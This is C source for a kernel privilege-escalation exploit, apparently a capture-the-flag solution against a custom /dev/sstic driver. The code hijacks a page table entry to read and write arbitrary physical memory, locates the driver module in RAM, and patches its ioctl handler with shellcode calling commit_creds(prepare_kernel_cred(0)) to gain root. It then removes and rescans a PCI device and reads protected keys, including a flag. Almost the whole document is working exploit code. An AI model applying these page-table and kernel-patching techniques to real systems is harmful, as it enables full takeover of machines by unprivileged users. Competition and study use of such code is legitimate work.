	*pte_addr = (pgaddr|0x67 | 0x8000000000000000);

	ptr = g_lptr[g_i_mod]+(4096*g_j_mod);
	ptr = (unsigned char *) ( (uint64_t)ptr & 0xFFFFFFFFFFFFF000);
	pv64 = (uint64_t *) (ptr+off7);
	printf("POKE pv64= %p\n",pv64);

	check_mem(10);
	oval = *pv64;
	printf("POKE oval8= 0x%lX\n",oval);
	*pv64=val;
	nval = *pv64;
	printf("POKE nval8= 0x%lX\n",nval);
	return(0);
	return(0);
}
/***********************************/
int PEEKP2(uint64_t paddr, int lg, unsigned char * buffer)
{
	unsigned char *ptr;
	uint64_t pgaddr;
	uint64_t *pte_addr;
	int off7;
	uint64_t *pv64;

	printf("PEEK paddr:0x%0lX\n",paddr);
	pgaddr = paddr & 0xFFFFFFFFFFFFF000;
	off7 = paddr & 0xFFF;

	pte_addr = (uint64_t *)(g_addr0B+0x3000);
	*pte_addr = (pgaddr|0x67 | 0x8000000000000000);


	ptr = g_lptr[g_i_mod]+(4096*g_j_mod);
	ptr = (unsigned char *) ( (uint64_t)ptr & 0xFFFFFFFFFFFFF000);
	ptr = ptr+off7;
	printf("PEEK2 ptr= %p\n",ptr);

	check_mem(10);
	memcpy(buffer, ptr, lg);
	printf("PEEK2 data:\n");
	dump_mem(buffer, lg);
	return(0);
}
/***********************************/
int POKEP2(uint64_t paddr, int lg, unsigned char * buffer)
{
	unsigned char *ptr;
	uint64_t pgaddr;
	uint64_t *pte_addr;
	int off7;
	uint64_t *pv64;

	printf("POKE2 paddr:0x%0lX\n",paddr);
	pgaddr = paddr & 0xFFFFFFFFFFFFF000;
	off7 = paddr & 0xFFF;

	pte_addr = (uint64_t *)(g_addr0B+0x3000);
	*pte_addr = (pgaddr|0x67 | 0x8000000000000000);


	ptr = g_lptr[g_i_mod]+(4096*g_j_mod);
	ptr = (unsigned char *) ( (uint64_t)ptr & 0xFFFFFFFFFFFFF000);
```

```
	ptr = ptr+off7;
	printf("POKE2 ptr= %p\n",ptr);

	check_mem(10);
	memcpy(ptr, buffer, lg);
	printf("POKE2 data:\n");
	dump_mem(buffer, lg);
	dump_mem(ptr, lg);
	return(0);
}
/***********************************/
uint64_t find_modsstic()
{
	int i,j;
	uint64_t pfn;
	uint64_t val8;

	for (i=0; i<16; i++) {
		for (j=0; j<16; j++) {
			pfn=0x20+i;
			pfn<<=4;
			pfn+=0xf;
			pfn<<=4;
			pfn+=j;
			pfn<<=12;
			PEEKP(pfn, &val8);
			if (val8 == 0x48000000a8878b48) {
				printf("Found: %lx\n",pfn);
				return(pfn);
			}
		}
	}
	return(0);
}
/***********************************/
uint64_t find_modsstic2()
{
	int i,j;
	int k,l;
	uint64_t pfn;
	uint64_t val8;
	int mnib[4]={0xf, 0x0, 0xe, 0xd};

	for (k=2; k<=3; k++) {
		for (l=0; l<4; l++) {
			for (i=0; i<16; i++) {
				for (j=0; j<16; j++) {
					pfn=k;
					pfn<<=4;
					pfn+=i;
					pfn<<=4;
					pfn+= mnib[l];
					pfn<<=4;
					pfn+=j;
					pfn<<=12;
					PEEKP(pfn, &val8);
					if (val8 == 0x48000000a8878b48) {
						printf("Found: %lx\n",pfn);
						return(pfn);
					}
				}
			}
		}
	}
	return(0);
}
/***********************************/
uint64_t find_modssticNG()
{
    int i,j;
    int k,l;
```

```
    uint64_t pfn;
    uint64_t val8;
    int mnib[4]={0xf, 0x0, 0xe, 0xd};
    //int hnib[4]={0x2, 0x3, 0x7 };
    int hnib[4]={0x7, 0x2, 0x3 };
    uint64_t *pte_addr;

    unsigned char *ptr;
    uint64_t *pv64;

    pte_addr = (uint64_t *)(g_addr0B+0x3000);

    ptr = g_lptr[g_i_mod]+(4096*g_j_mod);
    ptr = (unsigned char *) ( (uint64_t)ptr & 0xFFFFFFFFFFFFF000);

    for (k=0; k<4; k++) {
        for (l=0; l<3; l++) {

            for (i=0; i<16; i++) {
                for (j=0; j<16; j++) {
                    pfn=hnib[l];
                    pfn<<=4;
                    pfn+=i;
                    pfn<<=4;
                    pfn+= mnib[k];
                    pfn<<=4;
                    pfn+=j;
                    pfn<<=12;
                    pte_addr[i*16+j] = (pfn|0x67 | 0x8000000000000000);
                }
            }
            browse_mem(10);


            for (i=0; i<16; i++) {
                for (j=0; j<16; j++) {
                    pv64 = (uint64_t *) (ptr+4096*(i*16+j));
                    //printf("findsstic pv64= %p\n",pv64);
                    val8 = *pv64;
                    //printf("findsstic val8= 0x%lX\n",val8);
                    if (val8 == 0x48000000a8878b48) {
                        pfn=hnib[l];
                        pfn<<=4;
                        pfn+=i;
                        pfn<<=4;
                        pfn+= mnib[k];
                        pfn<<=4;
                        pfn+=j;
                        pfn<<=12;
                        printf("Found: %lx\n",pfn);
                        restore_pte();
                        browse_mem(10);
                        return(pfn);
                    }
                }
            }
        }
    }
restore_pte();
browse_mem(10);
return(0);
}
/***********************************/
// Modify ioctl_submit function to write 0 in the 0x28 register of the device.
int patch_modsstic2(uint64_t ssticbase)
{
            uint64_t paddr;
            unsigned char buffer[64];
            uint32_t *p_iow;
            unsigned char *p_iow0;
            uint32_t iow_rel;
```

```
        paddr = ssticbase + 0xc5c;
        PEEKP2(paddr, 64, buffer );

        buffer[8]=0x00;

        //p_iow = (uint32_t *)(buffer + 17);
        p_iow0 = (buffer + 17);
        p_iow = & iow_rel;
        memcpy(p_iow, p_iow0, 4);
        //iow_rel = *p_iow;
        iow_rel += (0xc5c -0x840-1);
        //*p_iow = iow_rel;
        memcpy(p_iow0, p_iow, 4);

        paddr = ssticbase + 0x840 +1;
        POKEP2(paddr, 25, buffer);
}
/***********************************/
// Modify ioctl_submit function to call commit_cred(prepare_kernel_cred(0))
// Now the function ioctl_submit is used to get root privilege
int patch_modsstic3(uint64_t ssticbase)
{
    uint64_t paddr;
    unsigned char buffer[64];
    uint32_t *p_iow;
    unsigned char *p_iow0;
    uint32_t iow_rel;
    unsigned char code[17]= { 0x48, 0x31, 0xFF, 0xE8, 0x00, 0x00, 0x00, 0x00, 0x48, 0x89, 0xC7, 0xE8, 0x00, 0x00, 0x00, 0x00, 0xC3 };
    unsigned char *p_addrfct0;
    uint32_t addrfct;
    uint32_t *p_addrfct;
    int call_pos;

    const uint32_t f_iowrite32 = 0x813f1e60 ;
    const uint32_t f_prepare_kernel_cred = 0x81089fa0  ;
    const uint32_t f_commit_creds = 0x81089d70  ;

    paddr = ssticbase + 0xc5c;
    PEEKP2(paddr, 64, buffer );


    p_iow0 = (buffer + 17);
    p_iow = & iow_rel;
    memcpy(p_iow, p_iow0, 4);


    call_pos = 3;
    addrfct = iow_rel + (0xcac -0x880-call_pos) + f_prepare_kernel_cred - f_iowrite32  ;
    memcpy(code+call_pos+1, (unsigned char *)&addrfct, 4);

    call_pos = 11;
    addrfct = iow_rel + (0xcac -0x880-call_pos) + f_commit_creds - f_iowrite32 ;
    memcpy(code+call_pos+1, (unsigned char *)&addrfct, 4);


    paddr = ssticbase + 0x840 ; //ioctl_submit_commant
    POKEP2(paddr, 17, code);
}
/***********************************/
// Modify pci_probe function to put 0 in register 0x28
int patch_modsstic4B(uint64_t ssticbase)
{
    uint64_t paddr;
    unsigned char code[5]= { 0x00 };

    //paddr = ssticbase + 0xcac-0x40 ; // in pci_probe
    paddr = ssticbase + 0xca4-0x40 ; // in pci_probe
    POKEP2(paddr, 1, code);
}
/***********************************/
```

```
int memhack()
{


        int fd;
        int res;
    unsigned char param[32];
        unsigned long long *param8= (unsigned long long *) param;
        unsigned int *param4= (unsigned int *) param;
        unsigned long long reg0;
        unsigned long long reg1;
        unsigned char *addr0;
        unsigned char *addr0B;
        unsigned char *addr1;
        unsigned char val;
        int pid;
        int status;
        int i;
        unsigned char *ptr;


        fd = open("/dev/sstic", O_RDWR);
    if (fd < 0 ) {
        printf("open failed\n");
        return(-1);
    }



        param4[0]= 0x04;
        param4[1]= 0x03;
    res=ioctl(fd,0xc0185300, &param);
        reg0 = param4[2];
        printf("Alloc region: 0x%llX\n",reg0);


        // void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);
        addr0 = mmap(0, 0x4000, 3, 1, fd, reg0);

        val = addr0[0];
        val = addr0[0x3000];

        addr0B = mmap(0, 0x4000, 3, 1, fd, reg0);
        g_addr0B = addr0B;
        val = addr0B[0];
        addr0B[0x3000]=0xAB;
        val = addr0B[0x3000];

        addr1 = mmap(0, 0x4000, 3, 1, fd, reg0);

        res=munmap(addr0, 0x1000 );


        for (i=0; i<3; i++) {
                printf("Step:%d\n",i);
                trigger_child();

                res=munmap(addr0, 0x4000 );

                addr0 = mmap(0, 0x4000, 3, 1, fd, reg0);
                val = addr0[0];
                sleep(1);

                res=munmap(addr0, 0x1000 );
        }

                printf("Last Step:%d\n",i);
                trigger_child();

                fill_memory(10);
                sleep(5);
```

```
                dump_mem(addr0B+0x3000, 32);

                pte_orig = *(uint64_t *) (addr0B+0x3000);
        memcpy(pte_sav, (addr0B+0x3000), 4096);


                addr0B[0x3001]+=0x20;
                check_mem(10);
                dump_mem(addr0B+0x3000, 32);


                {
                        uint64_t val8;
                        uint64_t ssticbase;
                        sleep(1);


                        //ssticbase = find_modsstic2();
                        ssticbase = find_modsstic();
                        //ssticbase = find_modssticNG();
                        printf("ssticbase = 0x%lX\n",ssticbase);
                        PEEKP(0x10787f0, &val8);
                        printf("res = 0x%lX\n",val8);

                        if (ssticbase >0) {
                                //patch_modsstic2(ssticbase);
                                patch_modsstic3(ssticbase);
                                patch_modsstic4B(ssticbase);

                                restore_pte();
                                browse_mem(10);
                                turnoff_debugmode(fd) ;

                                system("/bin/id");
                                system("/bin/lspci");

                                system("/bin/echo 1 > /sys/bus/pci/devices/0000:00:04.0/remove");
                                sleep(1);
                                system("/bin/lspci");
                                sleep(1);
                                system("/bin/echo 1 > /sys/bus/pci/rescan");
                                sleep(1);
                                system("/bin/lspci");


                                readKey(fd, 0xfbdf1af71dd4ddda); // PROD flag.txt
                                readKey(fd, 0xed6787e18b12543e); // PROD canal historique
                                readKey(fd, 0xd603c7e177f13c40); // PROD
                        }
                }


        close(fd);
}
/***********************************/
int main()
{
        memhack();
}
```